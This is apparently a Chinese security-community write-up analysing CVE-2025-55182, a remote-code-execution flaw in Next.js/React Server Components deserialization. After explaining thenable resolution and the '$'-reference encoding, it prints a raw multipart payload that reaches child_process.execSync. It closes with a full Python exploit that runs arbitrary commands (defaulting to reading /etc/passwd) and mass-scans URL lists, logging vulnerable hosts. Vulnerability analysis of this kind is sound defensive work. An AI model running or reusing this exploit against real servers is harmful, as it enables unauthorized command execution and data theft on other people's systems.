CVE-2025-55182
React4Shell 漏洞分析 (cve-2025-55182)-先知社区
thenable
如果一个 thenable 的 then(resolve) 里 再次返回另一个 thenable:
- javaScript 引擎会继续对这个新的 thenable 执行 相同的解析流程
- 再次调用它的
.then()
- 一层套一层,一直解析到最终不是 thenable 为止
nextjs 处理请求的过程

了解 decodeReplyFromBusboy

它是一个解码函数,内部创建了一个 response 对象并注册了 busboy 事件监听器,收到数据的时候触发并返回一个 Chunk 对象(一定是thenable)的,因为nextJS使用了 await decodeReplyFromBusboy 来等待结果,返回后一定会调用它的 then 方法。
首先,chunk的status被设置成了 pending ,同时还有一些参数出现了。

然后接着看看 chunk 的 then 方法:

首先对 chunk 的状态进行判断,并且根据不同的状态执行不同的操作,只有 fulfilled 的时候才能触发 resolve(并且接触await等待)。这里 chunk 的状态是 pending,就会执行 this.value.push(resolve) 和 this.reason.push(reject)。

这里刚刚不是创建了监听器吗,就会触发 resolveFiled,进一步触发 resolveModelChunk

这里发现我们的状态是 pending,首先会修改为 resolved_model,然后 触发 initializeModelChun(chunk)。

首先将 chunk 中的 JSON 字符串解析为对象,并且递归处理 $ 开头的特殊标记:
| 符号 |
含义 |
编码示例 |
解码结果 |
使用场景 |
$@ |
Chunk 引用 |
Promise → "$@1" |
getChunk(response, 1) |
异步数据、Promise |
$K |
FormData 引用 |
FormData → "$K1" |
从 FormData 提取 ID=1 |
表单数据、文件上传 |
$B |
Blob 引用 |
Blob → "$B1" |
response._formData.get("1") |
二进制数据、图片 |
$F |
Server Reference(Server Action) |
serverAction → "$F1" |
loadServerReference(...) |
Server Action 函数 |
$T |
Temporary Reference |
tempRef → "$T1" |
createTemporaryReference(...) |
临时引用 |
$Q |
Map 对象 |
Map → "$Q1" |
new Map(...) |
Map 数据结构 |
$R |
ReadableStream (text) |
ReadableStream → "$R1" |
ReadableStream |
文本流 |
$r |
ReadableStream (bytes) |
ReadableStream → "$r1" |
ReadableStream |
字节流 |
$X |
AsyncIterable |
AsyncIterable → "$X1" |
AsyncIterable |
异步迭代器 |
$D |
Date 对象 |
new Date() → "$D2024-01-01T00:00:00.000Z" |
new Date(...) |
日期时间 |
$n |
BigInt |
123n → "$n123" |
123n |
大整数 |
$Z |
Error 对象 |
Error → "$Z" + error info |
new Error(...) |
错误对象 |
$$ |
转义的 $ |
"$hello" → "$$hello" |
"$hello" |
字面量 $ |
然后就可以唤醒 await 执行返回了。
漏洞POC分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| Next-Action: x X-Nextjs-Request-Id: 51fe50ef2a379133 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye12x8j2O X-Nextjs-Html-Request-Id: 2344e891bc6a0657004928128530dc287d17a91 Content-Length: 499
------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="0"
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "process.mainModule.require('child_process').execSync('id');", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="1"
"$@0" ------WebKitFormBoundarye12x8j2O--
|
第一次解析
name=1 那个 $@0 就是对 chunk 对象的引用。(也就是请求体中 name=0 那一堆)
name=0,then => chunk.prototype.then,value => {"then":"$B1337"}(字符串),_formData.get => Function 的构造函数。
此时外部 await 发现存在一个 then 方法,并且就是指向 chunk.then,由于这里面的 status 我们定义为 resolved_model,所以会直接调用 initializeModelChunk 进行递归解析,并且解析后把状态改为 fulfilled 调用 resolve 结束 await。
第二次解析
开始对 ·value.then 进行解析

1 2 3 4 5 6 7
| case 'B': { const id = parseInt(value.slice(2), 16); const prefix = response._prefix; const blobKey = prefix + id.toString(16); const backingEntry = response._formData.get(blobKey); return backingEntry; }
|
把 $B1337 => 改为 obj = Function(RCE function)。
(因为 response._fomData.get 已经在第一次解析中被解析为 Function 构造函数,而 ``response._prefix传的就是RCE的代码)这里的obj` 再次被返回的时候已经是一个函数了。
解析后的 await:
第三次解析
await 调用 then 方法进行 RCE。
最终 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
|
import requests import sys import json import argparse import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_url(url, command="cat /etc/passwd"): print(f"Checking {url}...") crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", "_formData": { "get": "$1:constructor:constructor", }, }, }
files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), }
headers = {"Next-Action": "x"} try: res = requests.post(url, files=files, headers=headers, timeout=10, verify=False) if "root" in res.text: print(f"[+] Vulnerable: {url}") with open("vulns.txt", "a") as f: f.write(url + "\n") else: print(f"[-] Not vulnerable: {url}") except Exception as e: print(f"[-] Error checking {url}: {e}")
def main(): parser = argparse.ArgumentParser(description="CVE-2025-55182 POC") parser.add_argument("url", nargs="?", help="Single URL to check") parser.add_argument("command", nargs="?", default="cat /etc/passwd", help="Command to execute") parser.add_argument("-f", "--file", help="File containing list of URLs") args = parser.parse_args()
if args.file: try: with open(args.file, "r", encoding='utf-8', errors='ignore') as f: urls = f.read().splitlines() for url in urls: url = url.strip() if url: if not url.startswith("http"): url = "http://" + url check_url(url, args.command) except FileNotFoundError: print(f"File not found: {args.file}") elif args.url: check_url(args.url, args.command) else: parser.print_help()
if __name__ == "__main__": main()
|